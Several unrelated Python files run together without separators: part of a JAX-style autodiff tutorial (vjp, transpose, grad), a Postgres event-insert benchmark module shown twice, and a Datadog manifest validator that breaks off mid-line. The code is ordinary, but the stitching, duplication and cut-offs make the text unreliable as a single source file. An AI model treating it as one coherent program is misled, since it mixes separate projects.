jaxpr2, out_unknowns, num_res def typecheck_partial_eval_jaxpr(jaxpr, unks_in, unks_out, jaxpr1, jaxpr2): jaxprty = typecheck_jaxpr(jaxpr) # (a1, a2) -> (b1, b2 ) jaxpr1ty = typecheck_jaxpr(jaxpr1) # a1 -> (b1, res) jaxpr2ty = typecheck_jaxpr(jaxpr2) # (res, a2) -> b2 a1, a2 = partition_list(unks_in, jaxprty.in_types) b1, b2 = partition_list(unks_out, jaxprty.out_types) b1_, res = split_list(jaxpr1ty.out_types, len(b1)) res_, a2_ = split_list(jaxpr2ty.in_types, len(res)) b2_ = jaxpr2ty.out_types if jaxpr1ty.in_types != a1: raise TypeError if jaxpr2ty.out_types != b2: raise TypeError if b1 != b1_: raise TypeError if res != res_: raise TypeError if a2 != a2_: raise TypeError if b2 != b2_: raise TypeError partial_eval_jaxpr_rules = {} def xla_call_peval_eqn(unks_in: List[bool], eqn: JaxprEqn ) -> Tuple[JaxprEqn, JaxprEqn, List[bool], List[Atom]]: jaxpr = eqn.params['jaxpr'] jaxpr1, jaxpr2, unks_out, num_res = partial_eval_jaxpr(jaxpr, unks_in) ins1, ins2 = partition_list(unks_in, eqn.inputs) outs1, outs2 = partition_list(unks_out, eqn.out_binders) residuals, _ = split_list(jaxpr2.in_binders, num_res) eqn1 = JaxprEqn(xla_call_p, ins1, dict(jaxpr=jaxpr1, num_consts=0), outs1 + residuals) eqn2 = JaxprEqn(xla_call_p, residuals + ins2, dict(jaxpr=jaxpr2, num_consts=0), outs2) return eqn1, eqn2, unks_out, residuals partial_eval_jaxpr_rules[xla_call_p] = xla_call_peval_eqn # - # With that, we can compose `linearize` and `jit` however we like: # + @jit def f(x): y = sin(x) * 2. z = - y + x return z y, f_lin = linearize(f, 3.) y_dot = f_lin(1.) print(y, y_dot) # + @jit def f(x): y = sin(x) * 2. z = g(x, y) return z @jit def g(x, y): return cos(x) + y y, f_lin = linearize(f, 3.) y_dot = f_lin(1.) print(y, y_dot) # - # ### `vjp` and `grad` # # The `vjp` transformation works a lot like linearize. Its type signature is # analogous: # # ``` # linearize : (a -> b) -> a -> (b, T a -o T b) # vjp : (a -> b) -> a -> (b, T b -o T a) # ``` # # The only difference is that we transpose the linear part of the computation # before returning it, so that it goes from type `T a -o T b` to type `T b -o T # a`. That is, we'll implement `vjp` as, essentially, # # ``` # def vjp(f, x): # y, f_lin = linearize(f, x) # f_vjp = lambda y_bar: transpose(f_lin)(y_bar) # return y, f_vjp # ``` # # Since we have the linear computation as a jaxpr, not just a Python callable, # we can implement the transpose transformation as a jaxpr interpreter. # + def vjp_flat(f, *primals_in): pvals_in = ([PartialVal.known(x) for x in primals_in] + [PartialVal.unknown(vspace(get_aval(x))) for x in primals_in]) primal_pvals_in, tangent_pvals_in = split_half(pvals_in) def f_jvp(*primals_tangents_in): primals_out, tangents_out = jvp(f, *split_half(primals_tangents_in)) return [*primals_out, *tangents_out] jaxpr, pvals_out, consts = partial_eval_flat(f_jvp, pvals_in) # linearize primal_pvals, _ = split_half(pvals_out) assert all(pval.is_known for pval in primal_pvals) primals_out = [pval.const for pval in primal_pvals] transpose_inputs = consts + [UndefPrimal(p.aval) for p in tangent_pvals_in] f_vjp = lambda *cts: eval_jaxpr_transposed(jaxpr, transpose_inputs, cts) return primals_out, f_vjp def vjp(f, *primals_in): primals_in_flat, in_tree = tree_flatten(primals_in) f, out_tree = flatten_fun(f, in_tree) primals_out_flat, f_vjp_flat = vjp_flat(f, *primals_in_flat) primals_out = tree_unflatten(out_tree(), primals_out_flat) def f_vjp(*cotangents_out): cotangents_out_flat, _ = tree_flatten(cotangents_out) cotangents_in_flat = f_vjp_flat(*cotangents_out_flat) return tree_unflatten(in_tree, cotangents_in_flat) return primals_out, f_vjp class UndefPrimal(NamedTuple): aval: ShapedArray register_pytree_node(UndefPrimal, lambda u: (u.aval, ()), lambda aval, _: UndefPrimal(aval)) # - # We use `UndefPrimal` instances to indicate which arguments with respect to # with we want to transpose. These arise because in general, being explicit # about closed-over values, we want to transpose functions of type # `a -> b -o c` to functions of type `a -> c -o b`. Even more generally, the # inputs with respect to which the function is linear could be scattered through # the argument list. So we indicate the linear positions using `UndefPrimal`. # We register `UndefPrimal` as a pytree node because the pytree mechanism gives # a handy way to prune these placeholders out of argument lists. # # Next, we can write `eval_jaxpr_transposed`, along with transpose rules for # all primitives which can be linear in at least one argument: # + # NB: the analogous function in JAX is called 'backward_pass' def eval_jaxpr_transposed(jaxpr: Jaxpr, args: List[Any], cotangents: List[Any] ) -> List[Any]: primal_env: Dict[Var, Any] = {} ct_env: Dict[Var, Any] = {} def read_primal(x: Atom) -> Any: return primal_env.get(x, UndefPrimal(x.aval)) if type(x) is Var else x.val def write_primal(v: Var, val: Any) -> None: if type(val) is not UndefPrimal: primal_env[v] = val def read_cotangent(v: Var) -> Any: return ct_env.pop(v, np.zeros(v.aval.shape, v.aval.dtype)) def write_cotangent(x: Atom, val: Any): if type(x) is Var and val is not None: ct_env[x] = add(ct_env[x], val) if x in ct_env else val map(write_primal, jaxpr.in_binders, args) map(write_cotangent, jaxpr.outs, cotangents) for eqn in jaxpr.eqns[::-1]: primals_in = map(read_primal, eqn.inputs) cts_in = map(read_cotangent, eqn.out_binders) rule = transpose_rules[eqn.primitive] cts_out = rule(cts_in, *primals_in, **eqn.params) map(write_cotangent, eqn.inputs, cts_out) return [read_cotangent(v) for v, x in zip(jaxpr.in_binders, args) if type(x) is UndefPrimal] transpose_rules = {} # + def mul_transpose_rule(cts, x, y): z_bar, = cts assert (type(x) is UndefPrimal) ^ (type(y) is UndefPrimal) return [mul(z_bar, y), None] if type(x) is UndefPrimal else [None, mul(x, z_bar)] transpose_rules[mul_p] = mul_transpose_rule def neg_transpose_rule(cts, x): ybar, = cts assert type(x) is UndefPrimal return [neg(ybar)] transpose_rules[neg_p] = neg_transpose_rule def add_transpose_rule(cts, x, y): z_bar, = cts return [z_bar, z_bar] transpose_rules[add_p] = add_transpose_rule def xla_call_transpose_rule(cts, *invals, jaxpr, num_consts): del num_consts # Unused. undef_primals = [type(x) is UndefPrimal for x in invals] transposed_jaxpr, new_consts = transpose_jaxpr(jaxpr, tuple(undef_primals)) residuals, _ = partition_list(undef_primals, invals) outs = bind(xla_call_p, *new_consts, *residuals, *cts, jaxpr=transposed_jaxpr, num_consts=len(new_consts)) outs = iter(outs) return [next(outs) if undef else None for undef in undef_primals] transpose_rules[xla_call_p] = xla_call_transpose_rule @lru_cache() def transpose_jaxpr(jaxpr: Jaxpr, undef_primals: Tuple[bool, ...] ) -> Tuple[Jaxpr, List[Any]]: traceable = partial(eval_jaxpr_transposed, jaxpr) avals_in, avals_out = typecheck_jaxpr(jaxpr) args = [UndefPrimal(a) if u else a for a, u in zip(avals_in, undef_primals)] trans_jaxpr, consts, _ = make_jaxpr(traceable, tuple(args), tuple(avals_out)) return trans_jaxpr, consts # - # Now that we can linearize and transpose, we can finally write `grad`: def grad(f): def gradfun(x, *xs): y, f_vjp = vjp(f, x, *xs) if np.shape(y) != (): raise TypeError x_bar, *_ = f_vjp(np.ones(np.shape(y), np.result_type(y))) return x_bar return gradfun y, f_vjp = vjp(sin, 3.) print(f_vjp(1.), cos(3.)) # + def f(x): y = sin(x) * 2. z = - y + x return z print(grad(f)(3.)) # + @jit def f(x): y = x * 2. z = g(y) return z @jit def g(x): return cos(x) * 2. print(grad(f)(3.)) # - # Here's something of a compositionality stress test: # + # from core_test.py fun_with_nested_calls_2 def foo(x): @jit def bar(y): def baz(w): q = jit(lambda x: y)(x) q = q + jit(lambda: y)() q = q + jit(lambda y: w + y)(y) q = jit(lambda w: jit(sin)(x) * y)(1.0) + q return q p, t = jvp(baz, (x + 1.0,), (y,)) return t + (x * p) return bar(x) def assert_allclose(*vals): for v1, v2 in zip(vals[:-1], vals[1:]): np.testing.assert_allclose(v1, v2) ans1 = f(3.) ans2 = jit(f)(3.) ans3, _ = jvp(f, (3.,), (5.,)) ans4, _ = jvp(jit(f), (3.,), (5.,)) assert_allclose(ans1, ans2, ans3, ans4) deriv1 = grad(f)(3.) deriv2 = grad(jit(f))(3.) deriv3 = jit(grad(jit(f)))(3.) _, deriv4 = jvp(f, (3.,), (1.,)) _, deriv5 = jvp(jit(f), (3.,), (1.,)) assert_allclose(deriv1, deriv2, deriv3, deriv4, deriv5) hess1 = grad(grad(f))(3.) hess2 = grad(grad(jit(f)))(3.) hess3 = grad(jit(grad(f)))(3.) hess4 = jit(grad(grad(f)))(3.) _, hess5 = jvp(grad(f), (3.,), (1.,)) _, hess6 = jvp(jit(grad(f)), (3.,), (1.,)) _, hess7 = jvp(jit(grad(f)), (3.,), (1.,)) assert_allclose(hess1, hess2, hess3, hess4, hess5, hess6, hess7)
import io import time import psycopg2 import psycopg2.extras from .config import config def _db(): connection_string = config["connection_string"] con = psycopg2.connect(connection_string) if not config.get("batch_mode", False): con.set_session(autocommit=True) return con def init(): db = _db() cur = db.cursor() if config["use_multiple_tables"]: table_names = ["events0", "events1", "events2", "events3"] else: table_names = ["events"] if config["clean_database"]: for table_name in ["events0", "events1", "events2", "events3", "events"]: cur.execute(f"""DROP TABLE IF EXISTS {table_name}""") db.commit() if "install_extensions" in config: for extension in config["install_extensions"].split(","): cur.execute(f"CREATE EXTENSION IF NOT EXISTS {extension}") db.commit() # See README for explanation of the different modes if config["primary_key"] == "sql": pk_column = f'bigint generated always as identity ( start with 1 cache {config.get('batch_size', 100)} )' elif config["primary_key"] == "uuid": pk_column = 'uuid not null default gen_random_uuid()' elif config["primary_key"] == "db": pk_column = "serial" elif config["primary_key"] == "client": pk_column = "varchar" else: pk_column = None if pk_column: pk_column = f"id {pk_column}," else: pk_column = "" for table_name in table_names: cur.execute( f""" CREATE TABLE IF NOT EXISTS {table_name} ({pk_column} timestamp bigint, device_id varchar, sequence_number bigint, temperature real, {config.get("primary_key_constraint","PRIMARY KEY (id)")} ) """) db.commit() print("Created table events") cur.close() def prefill_events(events): _insert_events(events, True, 1000) def insert_events(events): batch_mode = config.get("batch_mode", False) batch_size = config.get("batch_size", 100) use_values_lists = config.get("use_values_lists", "false").lower() == "true" _insert_events(events, batch_mode, batch_size, use_values_lists) def _insert_events(events, batch_mode, batch_size, use_values_lists=False): print("Connecting to database", flush=True) use_multiple_tables = config["use_multiple_tables"] if use_multiple_tables: table_names = ["events0", "events1", "events2", "events3"] else: table_names = ["events"] print("Inserting events", flush=True) if use_values_lists and batch_mode: _values_lists_mode(events, use_multiple_tables, batch_size, table_names) elif not use_values_lists and batch_mode: # This uses the COPY mode of Postgres, when in batch without a VALUES list _copy_mode(events, use_multiple_tables, batch_size, table_names) else: _single_insert_mode(events, use_multiple_tables, batch_size, batch_mode) print("Finished inserting", flush=True) def _values_lists_mode(events, use_multiple_tables, batch_size, table_names): db = _db() cur = db.cursor() count = 0 values_lists = [list() for _ in range(4 if use_multiple_tables else 1)] for idx, event in enumerate(events): if config["primary_key"] != "client": val = (event.timestamp, event.device_id, event.sequence_number, event.temperature) else: event_id = f"{event.device_id}{event.timestamp}{event.sequence_number}" val = (event_id, event.timestamp, event.device_id, event.sequence_number, event.temperature) if use_multiple_tables: values_lists[idx%4].append(val) else: values_lists[0].append(val) count += 1 if count >= batch_size: _values_lists_insert(db, cur, values_lists, table_names) count = 0 if count > 0: _values_lists_insert(db, cur, values_lists, table_names) cur.close() def _values_lists_insert(db, cur, values_lists, table_names): # Implement retry due to TransactionAbortedError(ABORT_REASON_NEW_LEASE_PREVENTS_TXN) problems with CockroachDB done = False for _ in range(5): try: for table_index, values in enumerate(values_lists): if config["primary_key"] != "client": psycopg2.extras.execute_values(cur, f"INSERT INTO {table_names[table_index]} (timestamp, device_id, sequence_number, temperature) VALUES %s", values) else: psycopg2.extras.execute_values(cur, f"INSERT INTO {table_names[table_index]} (id, timestamp, device_id, sequence_number, temperature) VALUES %s", values) db.commit() done = True break except: print("Retrying insert due to problem") if not done: raise Exception("Failed to insert data after 5 tries. Aborting") for values in values_lists: values.clear() def _copy_mode(events, use_multiple_tables, batch_size, table_names): db = _db() cur = db.cursor() count = 0 # the values_lists here is a StringIO containing the TSV to COPY values_lists = [io.StringIO() for _ in range(4 if use_multiple_tables else 1)] for idx, event in enumerate(events): if config["primary_key"] != "client": val = f'{event.timestamp}\t{event.device_id}\t{event.sequence_number}\t{event.temperature}\n' else: event_id = f"{event.device_id}{event.timestamp}{event.sequence_number}" val = f'{event_id}\t{event.timestamp}\t{event.device_id}\t{event.sequence_number}\t{event.temperature}\n' if use_multiple_tables: values_lists[idx%4].writelines(val) else: values_lists[0].writelines(val) count += 1 if count >= batch_size: for table_index, values in enumerate(values_lists): values.seek(0) if config["primary_key"] != "client": cur.copy_from(values,table_names[table_index],sep="\t",columns=('timestamp', 'device_id', 'sequence_number', 'temperature')) else: cur.copy_from(values,table_names[table_index],sep="\t",columns=('id','timestamp', 'device_id', 'sequence_number', 'temperature')) values.seek(0) values.truncate(0) db.commit() count = 0 # Commit any remaining data if count > 0: for table_index, values in enumerate(values_lists): values.seek(0) if config["primary_key"] != "client": cur.copy_from(values,table_names[table_index],sep="\t",columns=('timestamp', 'device_id', 'sequence_number', 'temperature')) else: cur.copy_from(values,table_names[table_index],sep="\t",columns=('id','timestamp', 'device_id', 'sequence_number', 'temperature')) db.commit() cur.close() def _single_insert_mode(events, use_multiple_tables, batch_size, batch_mode): db = _db() cur = db.cursor() count = 0 for idx, event in enumerate(events): if use_multiple_tables: table_name = f"events{idx%4}" else: table_name = "events" if config["primary_key"] != "client": cur.execute(f"INSERT INTO {table_name} (timestamp, device_id, sequence_number, temperature) VALUES (%s, %s, %s, %s)", (event.timestamp, event.device_id, event.sequence_number, event.temperature)) else: event_id = f"{event.device_id}{event.timestamp}{event.sequence_number}" cur.execute(f"INSERT INTO {table_name} (id, timestamp, device_id, sequence_number, temperature) VALUES (%s, %s, %s, %s, %s)", (event_id, event.timestamp, event.device_id, event.sequence_number, event.temperature)) count += 1 if batch_mode and count >= batch_size: db.commit() count = 0 if batch_mode: db.commit() cur.close() _indices = [ "CREATE INDEX IF NOT EXISTS events_device_ts ON events (device_id, timestamp ASC)", "CREATE INDEX IF NOT EXISTS events_temp ON events (temperature ASC)", ] _queries = { "count-events": "SELECT count(*) FROM events", "temperature-min-max": "SELECT max(temperature), min(temperature) FROM events", "temperature-stats": "SELECT max(temperature), avg(temperature), min(temperature) FROM events", "temperature-stats-per-device": "SELECT device_id, max(temperature), avg(temperature), min(temperature) FROM events GROUP BY device_id", "newest-per-device": "SELECT e.device_id, e.temperature FROM events e JOIN (SELECT device_id, max(timestamp) as ts FROM events GROUP BY device_id) newest ON e.device_id=newest.device_id AND e.timestamp = newest.ts", } def queries(): db = _db() cur = db.cursor() if config.get("create_indices", "false").lower() == "true": for index in _indices: cur.execute(index) db.commit() if "queries" in config: included = config["queries"].split(",") for key in list(_queries.keys()): if key not in included: del _queries[key] query_times = dict([(name, []) for name in _queries.keys()]) for i in range(int(config["runs"])): for name, query in _queries.items(): print(f"Executing query {name}", flush=True) start = time.time() cur.execute(query) list(cur.fetchall()) # Force client to actually fetch results duration = time.time() - start print("Finished query", flush=True) query_times[name].append(duration) return query_times
import io import time import psycopg2 import psycopg2.extras from .config import config def _db(): connection_string = config["connection_string"] con = psycopg2.connect(connection_string) if not config.get("batch_mode", False): con.set_session(autocommit=True) return con def init(): db = _db() cur = db.cursor() if config["use_multiple_tables"]: table_names = ["events0", "events1", "events2", "events3"] else: table_names = ["events"] if config["clean_database"]: for table_name in ["events0", "events1", "events2", "events3", "events"]: cur.execute(f"""DROP TABLE IF EXISTS {table_name}""") db.commit() if "install_extensions" in config: for extension in config["install_extensions"].split(","): cur.execute(f"CREATE EXTENSION IF NOT EXISTS {extension}") db.commit() # See README for explanation of the different modes if config["primary_key"] == "sql": pk_column = f'bigint generated always as identity ( start with 1 cache {config.get("batch_size", 100)} )' elif config["primary_key"] == "uuid": pk_column = 'uuid not null default gen_random_uuid()' elif config["primary_key"] == "db": pk_column = "serial" elif config["primary_key"] == "client": pk_column = "varchar" else: pk_column = None if pk_column: pk_column = f"id {pk_column}," else: pk_column = "" for table_name in table_names: cur.execute( f""" CREATE TABLE IF NOT EXISTS {table_name} ({pk_column} timestamp bigint, device_id varchar, sequence_number bigint, temperature real, {config.get("primary_key_constraint","PRIMARY KEY (id)")} ) """) db.commit() print("Created table events") cur.close() def prefill_events(events): _insert_events(events, True, 1000) def insert_events(events): batch_mode = config.get("batch_mode", False) batch_size = config.get("batch_size", 100) use_values_lists = config.get("use_values_lists", "false").lower() == "true" _insert_events(events, batch_mode, batch_size, use_values_lists) def _insert_events(events, batch_mode, batch_size, use_values_lists=False): print("Connecting to database", flush=True) use_multiple_tables = config["use_multiple_tables"] if use_multiple_tables: table_names = ["events0", "events1", "events2", "events3"] else: table_names = ["events"] print("Inserting events", flush=True) if use_values_lists and batch_mode: _values_lists_mode(events, use_multiple_tables, batch_size, table_names) elif not use_values_lists and batch_mode: # This uses the COPY mode of Postgres, when in batch without a VALUES list _copy_mode(events, use_multiple_tables, batch_size, table_names) else: _single_insert_mode(events, use_multiple_tables, batch_size, batch_mode) print("Finished inserting", flush=True) def _values_lists_mode(events, use_multiple_tables, batch_size, table_names): db = _db() cur = db.cursor() count = 0 values_lists = [list() for _ in range(4 if use_multiple_tables else 1)] for idx, event in enumerate(events): if config["primary_key"] != "client": val = (event.timestamp, event.device_id, event.sequence_number, event.temperature) else: event_id = f"{event.device_id}{event.timestamp}{event.sequence_number}" val = (event_id, event.timestamp, event.device_id, event.sequence_number, event.temperature) if use_multiple_tables: values_lists[idx%4].append(val) else: values_lists[0].append(val) count += 1 if count >= batch_size: _values_lists_insert(db, cur, values_lists, table_names) count = 0 if count > 0: _values_lists_insert(db, cur, values_lists, table_names) cur.close() def _values_lists_insert(db, cur, values_lists, table_names): # Implement retry due to TransactionAbortedError(ABORT_REASON_NEW_LEASE_PREVENTS_TXN) problems with CockroachDB done = False for _ in range(5): try: for table_index, values in enumerate(values_lists): if config["primary_key"] != "client": psycopg2.extras.execute_values(cur, f"INSERT INTO {table_names[table_index]} (timestamp, device_id, sequence_number, temperature) VALUES %s", values) else: psycopg2.extras.execute_values(cur, f"INSERT INTO {table_names[table_index]} (id, timestamp, device_id, sequence_number, temperature) VALUES %s", values) db.commit() done = True break except: print("Retrying insert due to problem") if not done: raise Exception("Failed to insert data after 5 tries. Aborting") for values in values_lists: values.clear() def _copy_mode(events, use_multiple_tables, batch_size, table_names): db = _db() cur = db.cursor() count = 0 # the values_lists here is a StringIO containing the TSV to COPY values_lists = [io.StringIO() for _ in range(4 if use_multiple_tables else 1)] for idx, event in enumerate(events): if config["primary_key"] != "client": val = f'{event.timestamp}\t{event.device_id}\t{event.sequence_number}\t{event.temperature}\n' else: event_id = f"{event.device_id}{event.timestamp}{event.sequence_number}" val = f'{event_id}\t{event.timestamp}\t{event.device_id}\t{event.sequence_number}\t{event.temperature}\n' if use_multiple_tables: values_lists[idx%4].writelines(val) else: values_lists[0].writelines(val) count += 1 if count >= batch_size: for table_index, values in enumerate(values_lists): values.seek(0) if config["primary_key"] != "client": cur.copy_from(values,table_names[table_index],sep="\t",columns=('timestamp', 'device_id', 'sequence_number', 'temperature')) else: cur.copy_from(values,table_names[table_index],sep="\t",columns=('id','timestamp', 'device_id', 'sequence_number', 'temperature')) values.seek(0) values.truncate(0) db.commit() count = 0 # Commit any remaining data if count > 0: for table_index, values in enumerate(values_lists): values.seek(0) if config["primary_key"] != "client": cur.copy_from(values,table_names[table_index],sep="\t",columns=('timestamp', 'device_id', 'sequence_number', 'temperature')) else: cur.copy_from(values,table_names[table_index],sep="\t",columns=('id','timestamp', 'device_id', 'sequence_number', 'temperature')) db.commit() cur.close() def _single_insert_mode(events, use_multiple_tables, batch_size, batch_mode): db = _db() cur = db.cursor() count = 0 for idx, event in enumerate(events): if use_multiple_tables: table_name = f"events{idx%4}" else: table_name = "events" if config["primary_key"] != "client": cur.execute(f"INSERT INTO {table_name} (timestamp, device_id, sequence_number, temperature) VALUES (%s, %s, %s, %s)", (event.timestamp, event.device_id, event.sequence_number, event.temperature)) else: event_id = f"{event.device_id}{event.timestamp}{event.sequence_number}" cur.execute(f"INSERT INTO {table_name} (id, timestamp, device_id, sequence_number, temperature) VALUES (%s, %s, %s, %s, %s)", (event_id, event.timestamp, event.device_id, event.sequence_number, event.temperature)) count += 1 if batch_mode and count >= batch_size: db.commit() count = 0 if batch_mode: db.commit() cur.close() _indices = [ "CREATE INDEX IF NOT EXISTS events_device_ts ON events (device_id, timestamp ASC)", "CREATE INDEX IF NOT EXISTS events_temp ON events (temperature ASC)", ] _queries = { "count-events": "SELECT count(*) FROM events", "temperature-min-max": "SELECT max(temperature), min(temperature) FROM events", "temperature-stats": "SELECT max(temperature), avg(temperature), min(temperature) FROM events", "temperature-stats-per-device": "SELECT device_id, max(temperature), avg(temperature), min(temperature) FROM events GROUP BY device_id", "newest-per-device": "SELECT e.device_id, e.temperature FROM events e JOIN (SELECT device_id, max(timestamp) as ts FROM events GROUP BY device_id) newest ON e.device_id=newest.device_id AND e.timestamp = newest.ts", } def queries(): db = _db() cur = db.cursor() if config.get("create_indices", "false").lower() == "true": for index in _indices: cur.execute(index) db.commit() if "queries" in config: included = config["queries"].split(",") for key in list(_queries.keys()): if key not in included: del _queries[key] query_times = dict([(name, []) for name in _queries.keys()]) for i in range(int(config["runs"])): for name, query in _queries.items(): print(f"Executing query {name}", flush=True) start = time.time() cur.execute(query) list(cur.fetchall()) # Force client to actually fetch results duration = time.time() - start print("Finished query", flush=True) query_times[name].append(duration) return query_times
# (C) Datadog, Inc. 2018-present # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) import json import os import re import uuid import click import requests from ....utils import file_exists, read_file, write_file from ...constants import get_root from ...utils import get_metadata_file, parse_version_parts, read_metadata_rows from ..console import CONTEXT_SETTINGS, abort, echo_failure, echo_info, echo_success, echo_warning REQUIRED_ATTRIBUTES = { 'assets', 'categories', 'creates_events', 'display_name', 'guid', 'integration_id', 'is_public', 'maintainer', 'manifest_version', 'name', 'public_title', 'short_description', 'support', 'supported_os', 'type', } FIELDS_NOT_ALLOWED_TO_CHANGE = ["integration_id", "display_name", "guid"] REQUIRED_ASSET_ATTRIBUTES = {'monitors', 'dashboards', 'service_checks'} OPTIONAL_ATTRIBUTES = { 'aliases', 'description', 'is_beta', # Move these two below (metric_to_check, metric_prefix) # to mandatory when all integration are fixed 'metric_to_check', 'metric_prefix', 'process_signatures', } METRIC_TO_CHECK_WHITELIST = { 'openstack.controller', # "Artificial" metric, shouldn't be listed in metadata file. 'riakcs.bucket_list_pool.workers', # RiakCS 2.1 metric, but metadata.csv lists RiakCS 2.0 metrics only. } ALL_ATTRIBUTES = REQUIRED_ATTRIBUTES | OPTIONAL_ATTRIBUTES INTEGRATION_ID_REGEX = r'^[a-z][a-z0-9-]{0,254}(?<!-)$' def is_metric_in_metadata_file(metric, check): """ Return True if `metric` is listed in the check's `metadata.csv` file, False otherwise. """ metadata_file = get_metadata_file(check) for _, row in read_metadata_rows(metadata_file): if row['metric_name'] == metric: return True return False def get_original_manifest_field(check_name, field_to_check, repo_url, manifests_from_master): repo_url = f'{repo_url}/{check_name}/manifest.json' if manifests_from_master.get(check_name): data = manifests_from_master.get(check_name) else: data = requests.get(repo_url.format(check_name)) manifests_from_master[check_name] = data if data.status_code == 404: # This integration isn't on the provided repo yet, so it's field can change return None data.raise_for_status() decoded_master = data.json() return decoded_master.get(field_to_check) @click.command(context_settings=CONTEXT_SETTINGS, short_help='Validate `manifest.json` files') @click.option('--fix', is_flag=True, help='Attempt to fix errors') @click.option('--include-extras', '-i', is_flag=True, help='Include optional fields, and extra validations') @click.option( '--repo_url', '-r', help='The raw github URL to the base of the repository to compare manifest fields against' ) @click.pass_context def manifest(ctx, fix, include_extras, repo_url): """Validate `manifest.json` files.""" all_guids = {} raw_gh_url = 'https://raw.githubusercontent.com/DataDog/{}/master/' root = get_root() is_extras = ctx.obj['repo_choice'] == 'extras' formatted_repo_url = repo_url or raw_gh_url.format(os.path.basename(root)) ok_checks = 0 failed_checks = 0 fixed_checks = 0 manifests_from_master = {} echo_info("Validating all manifest.json files...") for check_name in sorted(os.listdir(root)): manifest_file = os.path.join(root, check_name, 'manifest.json') if file_exists(manifest_file): display_queue = [] file_failures = 0 file_fixed = False try: decoded = json.loads(read_file(manifest_file).strip()) except json.JSONDecodeError as e: failed_checks += 1 echo_info(f"{check_name}/manifest.json... ", nl=False) echo_failure("FAILED") echo_failure(f' invalid json: {e}') continue # attributes are valid attrs = set(decoded) for attr in sorted(attrs - ALL_ATTRIBUTES): file_failures += 1 display_queue.append((echo_failure, f' Attribute `{attr}` is invalid')) for attr in sorted(REQUIRED_ATTRIBUTES - attrs): file_failures += 1 display_queue.append((echo_failure, f' Attribute `{attr}` is required')) for attr in sorted(REQUIRED_ASSET_ATTRIBUTES - set(decoded.get('assets', {}))): file_failures += 1 display_queue.append((echo_failure, f' Attribute `{attr}` under `assets` is required')) # guid guid = decoded.get('guid') if guid in all_guids: file_failures += 1 output = f' duplicate `guid`: `{guid}` from `{all_guids[guid]}`' if fix: new_guid = uuid.uuid4() all_guids[new_guid] = check_name decoded['guid'] = new_guid display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `guid`: {new_guid}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) elif not guid or not isinstance(guid, str): file_failures += 1 output = ' required non-null string: guid' if fix: new_guid = uuid.uuid4() all_guids[new_guid] = check_name decoded['guid'] = new_guid display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `guid`: {new_guid}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) else: all_guids[guid] = check_name # manifest_version correct_manifest_version = '1.0.0' manifest_version = decoded.get('manifest_version') version_parts = parse_version_parts(manifest_version) if len(version_parts) != 3: file_failures += 1 if not manifest_version: output = ' required non-null string: manifest_version' else: output = f' invalid `manifest_version`: {manifest_version}' if fix: version_parts = parse_version_parts(correct_manifest_version) decoded['manifest_version'] = correct_manifest_version display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `manifest_version`: {correct_manifest_version}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) if len(version_parts) == 3: about_exists = os.path.isfile( os.path.join(root, check_name, 'datadog_checks', check_name, '__about__.py') ) if version_parts >= [1, 0, 0]: if 'version' in decoded and about_exists: file_failures += 1 output = ' outdated field: version' if fix: del decoded['version'] display_queue.append((echo_warning, output)) display_queue.append((echo_success, ' removed field: version')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) elif about_exists: file_failures += 1 output = f' outdated `manifest_version`: {manifest_version}' if fix: decoded['manifest_version'] = correct_manifest_version display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `manifest_version`: {correct_manifest_version}')) if 'version' in decoded: del decoded['version'] display_queue.append((echo_success, ' removed field: version')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) else: version = decoded.get('version') version_parts = parse_version_parts(version) if len(version_parts) != 3: file_failures += 1 if not version: display_queue.append((echo_failure, ' required non-null string: version')) else: display_queue.append((echo_failure, f' invalid `version`: {version}')) # integration_id integration_id = decoded.get('integration_id') if not re.search(INTEGRATION_ID_REGEX, integration_id): file_failures += 1 output = 'integration_id contains invalid characters' display_queue.append((echo_failure, output)) # maintainer if not is_extras: correct_maintainer = 'help@datadoghq.com' maintainer = decoded.get('maintainer') if maintainer != correct_maintainer: file_failures += 1 output = f' incorrect `maintainer`: {maintainer}' if fix: decoded['maintainer'] = correct_maintainer display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `maintainer`: {correct_maintainer}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) # name correct_name = check_name name = decoded.get('name') if not isinstance(name, str) or name.lower() != correct_name.lower(): file_failures += 1 output = f' incorrect `name`: {name}' if fix: decoded['name'] = correct_name display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `name`: {correct_name}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) # short_description short_description = decoded.get('short_description') if not short_description or not isinstance(short_description, str): file_failures += 1 display_queue.append((echo_failure, ' required non-null string: short_description')) if len(short_description) > 80: file_failures += 1 display_queue.append((echo_failure, ' should contain 80 characters maximum: short_description')) # metric_to_check metric_to_check = decoded.get('metric_to_check') if metric_to_check: metrics_to_check = metric_to_check if isinstance(metric_to_check, list) else [metric_to_check] for metric in metrics_to_check: if not is_metric_in_metadata_file(metric, check_name) and metric not in METRIC_TO_CHECK_WHITELIST: file_failures += 1 display_queue.append((echo_failure, f' metric_to_check not in metadata.csv: {metric!r}')) # support correct_support = 'contrib' if is_extras else 'core' support = decoded.get('support') if support != correct_support: file_failures += 1 output = f' incorrect `support`: {support}' if fix: decoded['support'] = correct_support display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `support`: {correct_support}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) if include_extras: # Ensure attributes haven't changed for field in FIELDS_NOT_ALLOWED_TO_CHANGE: original_value = get_original_manifest_field( check_name, field, formatted_repo_url, manifests_from_master ) output = f'Attribute `{field}` is not allowed to be modified.' if original_value and original_value != decoded.get(field): file_failures += 1 if fix: decoded[field] = original_value file_failures -= 1 file_fixed = True display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' original {field}: {original_value}')) else: output += f" Please use the existing value: {original_value}" display_queue.append((echo_failure, output)) elif not original_value: output = f" No existing field on default branch: {field}" display_queue.append((echo_warning, output)) # supported_os supported_os = decoded.get('supported_os') if not supported_os or not isinstance(supported_os, list): file_failures += 1 